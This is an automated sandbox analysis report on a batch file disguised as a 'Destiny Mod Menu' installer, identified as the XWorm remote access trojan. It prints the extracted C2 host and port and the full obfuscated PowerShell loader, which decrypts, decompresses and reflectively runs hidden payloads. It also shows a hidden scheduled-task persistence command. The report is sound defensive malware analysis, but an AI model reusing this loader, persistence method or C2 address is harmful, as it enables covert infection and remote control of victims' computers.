xworm | 10f65b5ff82a1838a20614cc7bf379e8f55c3d46ef9ecaba7837c17ec44ce49f

Analysis

max time kernel
157s
max time network
161s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
04/03/2025, 14:19

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General

Target

Destiny Mod Menu/Destiny/Destiny Loader Installer.bat
Size

265KB
MD5

512d6ccd633decbe126a38c51c29a280
SHA1

017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48
SHA256

411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5
SHA512

fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7
SSDEEP

6144:jhbd8sLlMG4UZT009TJPirdyKRxv4oPhdP:ld9Jdr96YitZdP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

french-add.gl.at.ply.gg:6536

Mutex

db7vnqFX7vAc4WLR

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/440-48-0x000001A65D250000-0x000001A65D260000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4228	powershell.exe
2468	powershell.exe
440	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3517169085-2802914951-552339849-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3517169085-2802914951-552339849-1000_Classes\Local Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3517169085-2802914951-552339849-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3517169085-2802914951-552339849-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3517169085-2802914951-552339849-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4228	powershell.exe
4228	powershell.exe
2468	powershell.exe
2468	powershell.exe
440	powershell.exe
440	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeIncreaseQuotaPrivilege	2468	powershell.exe
Token: SeSecurityPrivilege	2468	powershell.exe
Token: SeTakeOwnershipPrivilege	2468	powershell.exe
Token: SeLoadDriverPrivilege	2468	powershell.exe
Token: SeSystemProfilePrivilege	2468	powershell.exe
Token: SeSystemtimePrivilege	2468	powershell.exe
Token: SeProfSingleProcessPrivilege	2468	powershell.exe
Token: SeIncBasePriorityPrivilege	2468	powershell.exe
Token: SeCreatePagefilePrivilege	2468	powershell.exe
Token: SeBackupPrivilege	2468	powershell.exe
Token: SeRestorePrivilege	2468	powershell.exe
Token: SeShutdownPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeSystemEnvironmentPrivilege	2468	powershell.exe
Token: SeRemoteShutdownPrivilege	2468	powershell.exe
Token: SeUndockPrivilege	2468	powershell.exe
Token: SeManageVolumePrivilege	2468	powershell.exe
Token: 33	2468	powershell.exe
Token: 34	2468	powershell.exe
Token: 35	2468	powershell.exe
Token: 36	2468	powershell.exe
Token: SeIncreaseQuotaPrivilege	2468	powershell.exe
Token: SeSecurityPrivilege	2468	powershell.exe
Token: SeTakeOwnershipPrivilege	2468	powershell.exe
Token: SeLoadDriverPrivilege	2468	powershell.exe
Token: SeSystemProfilePrivilege	2468	powershell.exe
Token: SeSystemtimePrivilege	2468	powershell.exe
Token: SeProfSingleProcessPrivilege	2468	powershell.exe
Token: SeIncBasePriorityPrivilege	2468	powershell.exe
Token: SeCreatePagefilePrivilege	2468	powershell.exe
Token: SeBackupPrivilege	2468	powershell.exe
Token: SeRestorePrivilege	2468	powershell.exe
Token: SeShutdownPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeSystemEnvironmentPrivilege	2468	powershell.exe
Token: SeRemoteShutdownPrivilege	2468	powershell.exe
Token: SeUndockPrivilege	2468	powershell.exe
Token: SeManageVolumePrivilege	2468	powershell.exe
Token: 33	2468	powershell.exe
Token: 34	2468	powershell.exe
Token: 35	2468	powershell.exe
Token: 36	2468	powershell.exe
Token: SeIncreaseQuotaPrivilege	2468	powershell.exe
Token: SeSecurityPrivilege	2468	powershell.exe
Token: SeTakeOwnershipPrivilege	2468	powershell.exe
Token: SeLoadDriverPrivilege	2468	powershell.exe
Token: SeSystemProfilePrivilege	2468	powershell.exe
Token: SeSystemtimePrivilege	2468	powershell.exe
Token: SeProfSingleProcessPrivilege	2468	powershell.exe
Token: SeIncBasePriorityPrivilege	2468	powershell.exe
Token: SeCreatePagefilePrivilege	2468	powershell.exe
Token: SeBackupPrivilege	2468	powershell.exe
Token: SeRestorePrivilege	2468	powershell.exe
Token: SeShutdownPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeSystemEnvironmentPrivilege	2468	powershell.exe
Token: SeRemoteShutdownPrivilege	2468	powershell.exe
Token: SeUndockPrivilege	2468	powershell.exe
Token: SeManageVolumePrivilege	2468	powershell.exe
Token: 33	2468	powershell.exe
Token: 34	2468	powershell.exe
Token: 35	2468	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1912	Calculator.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 4228	4688	cmd.exe	83
PID 4688 wrote to memory of 4228	4688	cmd.exe	83
PID 4228 wrote to memory of 2468	4228	powershell.exe	84
PID 4228 wrote to memory of 2468	4228	powershell.exe	84
PID 4228 wrote to memory of 1876	4228	powershell.exe	87
PID 4228 wrote to memory of 1876	4228	powershell.exe	87
PID 1876 wrote to memory of 4512	1876	WScript.exe	88
PID 1876 wrote to memory of 4512	1876	WScript.exe	88
PID 4512 wrote to memory of 440	4512	cmd.exe	90
PID 4512 wrote to memory of 440	4512	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_611_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_611.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_611.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_611.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_611.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_611.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:764

C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Calculator.exe
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:1912

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:5044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\ef128da6-6767-4413-b517-fdf191e06fd3.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o2yue4hg.s0q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_611.bat

Filesize
265KB

MD5
512d6ccd633decbe126a38c51c29a280

SHA1
017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48

SHA256
411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5

SHA512
fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_611.vbs

Filesize
115B

MD5
33c68e07d98aa51abba5d3869dbc0158

SHA1
a3a92e084a2f49507bf07fb0f0466002a22fc1f6

SHA256
4241579b6c56405988348690ab78d71afb74457b4152aeb9b1ffd59ab89e7541

SHA512
f1c88eb17274edb933c658c0c6a5f57402b936bb7183d6e0de86f32f45fa93f3d272a12ce07cb1314f785ba5f9f1227076ab2b9fd2e8f0e5f7f5d3478448963d

Download Submit
memory/440-48-0x000001A65D250000-0x000001A65D260000-memory.dmp

Filesize
64KB

Download
memory/2468-26-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/2468-30-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/2468-25-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/2468-24-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/2468-27-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/4228-13-0x000001D130B40000-0x000001D130B48000-memory.dmp

Filesize
32KB

Download
memory/4228-14-0x000001D130DE0000-0x000001D130E14000-memory.dmp

Filesize
208KB

Download
memory/4228-0-0x00007FFBBB783000-0x00007FFBBB785000-memory.dmp

Filesize
8KB

Download
memory/4228-12-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/4228-11-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/4228-9-0x000001D130B50000-0x000001D130B72000-memory.dmp

Filesize
136KB

Download
memory/4228-49-0x00007FFBBB783000-0x00007FFBBB785000-memory.dmp

Filesize
8KB

Download
memory/4228-50-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download
memory/4228-10-0x00007FFBBB780000-0x00007FFBBC242000-memory.dmp

Filesize
10.8MB

Download